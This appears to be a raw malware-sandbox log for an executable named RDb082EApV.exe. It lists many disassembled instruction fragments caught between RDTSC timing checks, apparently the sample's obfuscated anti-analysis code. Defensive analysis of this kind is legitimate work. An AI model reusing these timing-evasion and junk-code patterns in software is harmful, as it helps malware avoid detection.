Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 218506 second address: 21851B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jbe 00007FCE94BEBC16h 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21851B second address: 21851F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21A217 second address: 21A21D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21A928 second address: 21A941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61215h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21A941 second address: 21A948 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21AE18 second address: 21AE55 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FCE94E6120Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007FCE94E61210h 0x00000010 xchg eax, ebx 0x00000011 mov di, 593Ah 0x00000015 push eax 0x00000016 pushad 0x00000017 jng 00007FCE94E61208h 0x0000001d push edi 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FCE94E6120Bh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21AF1F second address: 21AF28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21B39B second address: 21B3A9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21B3A9 second address: 21B3AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21B920 second address: 21B9A6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp], eax 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007FCE94E61208h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 00000015h 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e jnl 00007FCE94E6120Ch 0x00000034 push 00000000h 0x00000036 jmp 00007FCE94E61219h 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push edx 0x00000040 call 00007FCE94E61208h 0x00000045 pop edx 0x00000046 mov dword ptr [esp+04h], edx 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc edx 0x00000053 push edx 0x00000054 ret 0x00000055 pop edx 0x00000056 ret 0x00000057 push eax 0x00000058 jo 00007FCE94E61214h 0x0000005e push eax 0x0000005f push edx 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21B9A6 second address: 21B9AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21CA93 second address: 21CA97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21CA97 second address: 21CA9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21DCF4 second address: 21DCF8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21DCF8 second address: 21DD5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FCE94BEBC18h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 0000001Ah 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 mov edi, dword ptr [ebp+122D1D79h] 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007FCE94BEBC18h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Bh 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 mov di, ax 0x0000004b push eax 0x0000004c jo 00007FCE94BEBC1Eh 0x00000052 push eax 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21DA99 second address: 21DAB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c ja 00007FCE94E61206h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21E7FA second address: 21E80F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 21E51C second address: 21E532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E61212h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22524E second address: 22529B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 jmp 00007FCE94BEBC24h 0x0000000c nop 0x0000000d xor dword ptr [ebp+122D2CC4h], esi 0x00000013 mov dword ptr [ebp+122D356Ah], eax 0x00000019 push 00000000h 0x0000001b mov dword ptr [ebp+122D2933h], ecx 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FCE94BEBC26h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22529B second address: 2252B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61214h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22816B second address: 228175 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FCE94BEBC16h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 228175 second address: 2281E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c call 00007FCE94E61208h 0x00000011 pop eax 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc eax 0x0000001f push eax 0x00000020 ret 0x00000021 pop eax 0x00000022 ret 0x00000023 mov edi, dword ptr [ebp+122D263Bh] 0x00000029 push 00000000h 0x0000002b xor dword ptr [ebp+122D1C73h], edx 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edi 0x00000036 call 00007FCE94E61208h 0x0000003b pop edi 0x0000003c mov dword ptr [esp+04h], edi 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc edi 0x00000049 push edi 0x0000004a ret 0x0000004b pop edi 0x0000004c ret 0x0000004d mov ebx, dword ptr [ebp+122D3CBFh] 0x00000053 xchg eax, esi 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 jns 00007FCE94E61206h 0x0000005d pushad 0x0000005e popad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2281E7 second address: 2281ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2281ED second address: 2281F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 228335 second address: 22833A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22833A second address: 228340 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 228404 second address: 22840B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22C34B second address: 22C34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22B539 second address: 22B556 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FCE94BEBC20h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22B556 second address: 22B565 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E6120Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22D334 second address: 22D380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007FCE94BEBC29h 0x0000000f jno 00007FCE94BEBC1Ah 0x00000015 pop ebx 0x00000016 mov ebx, ecx 0x00000018 push 00000000h 0x0000001a mov dword ptr [ebp+122D2489h], ecx 0x00000020 mov ebx, dword ptr [ebp+122D3CDFh] 0x00000026 push 00000000h 0x00000028 mov edi, dword ptr [ebp+122D3AA3h] 0x0000002e push eax 0x0000002f push esi 0x00000030 push eax 0x00000031 push edx 0x00000032 push ebx 0x00000033 pop ebx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22E2E8 second address: 22E372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 jp 00007FCE94E6121Eh 0x0000000d push ebx 0x0000000e jmp 00007FCE94E61216h 0x00000013 pop ebx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FCE94E61208h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f mov di, ax 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007FCE94E61208h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e push 00000000h 0x00000050 mov dword ptr [ebp+122D1D47h], edi 0x00000056 mov ebx, dword ptr [ebp+122D1FE2h] 0x0000005c push eax 0x0000005d push ecx 0x0000005e push eax 0x0000005f push edx 0x00000060 jmp 00007FCE94E6120Eh 0x00000065 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22E372 second address: 22E376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22F36C second address: 22F391 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCE94E61219h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22F391 second address: 22F3A1 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FCE94BEBC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 230460 second address: 230465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 2325EA second address: 232604 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94BEBC1Bh 0x00000007 jnc 00007FCE94BEBC16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 232604 second address: 232624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCE94E61218h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 233C25 second address: 233C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dword ptr [esp], eax 0x00000007 ja 00007FCE94BEBC2Dh 0x0000000d push 00000000h 0x0000000f mov dword ptr [ebp+122D31F7h], esi 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FCE94BEBC18h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000018h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 jmp 00007FCE94BEBC24h 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push esi 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 233C8D second address: 233C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 233C92 second address: 233C97 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 234CF1 second address: 234D09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E61214h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 235D49 second address: 235D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22D506 second address: 22D511 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FCE94E61206h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22D511 second address: 22D523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007FCE94BEBC16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22D523 second address: 22D527 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22D527 second address: 22D52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22D52D second address: 22D5D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCE94E61219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jnp 00007FCE94E6120Eh 0x00000010 jnc 00007FCE94E61208h 0x00000016 push dword ptr fs:[00000000h] 0x0000001d jmp 00007FCE94E61211h 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 mov ebx, dword ptr [ebp+122D3C93h] 0x0000002f mov bh, cl 0x00000031 mov eax, dword ptr [ebp+122D127Dh] 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007FCE94E61208h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 00000018h 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 push FFFFFFFFh 0x00000053 call 00007FCE94E61214h 0x00000058 movsx ebx, ax 0x0000005b pop ebx 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FCE94E6120Eh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 22D5D1 second address: 22D5D6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 235E98 second address: 235E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 235E9C second address: 235EA6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FCE94BEBC16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1DD676 second address: 1DD696 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCE94E61206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FCE94E61216h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 23B69D second address: 23B6A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 23C3EA second address: 23C3F4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 23C3F4 second address: 23C3F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 23C3F8 second address: 23C40F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCE94E6120Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 23C40F second address: 23C419 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 23C419 second address: 23C41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24230A second address: 242310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 242310 second address: 242316 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 242316 second address: 242331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCE94BEBC26h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 247386 second address: 24738E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1DF0A1 second address: 1DF0BD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FCE94BEBC26h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1DF0BD second address: 1DF0D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCE94E6120Dh 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 1DF0D0 second address: 1DF0D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 247A61 second address: 247A86 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCE94E61208h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FCE94E61214h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 247BFF second address: 247C05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 247C05 second address: 247C09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 247D78 second address: 247D7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24DDD0 second address: 24DDDA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FCE94E61206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24E449 second address: 24E470 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007FCE94BEBC16h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FCE94BEBC26h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24E470 second address: 24E480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 je 00007FCE94E61206h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24E480 second address: 24E48C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24E5EB second address: 24E5F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24E5F1 second address: 24E5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24E8C4 second address: 24E8C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24E8C8 second address: 24E8CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 24E8CC second address: 24E8D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 25776A second address: 257773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 257773 second address: 257779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RDb082EApV.exe	RDTSC instruction interceptor: First address: 257779 second address: 25777D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
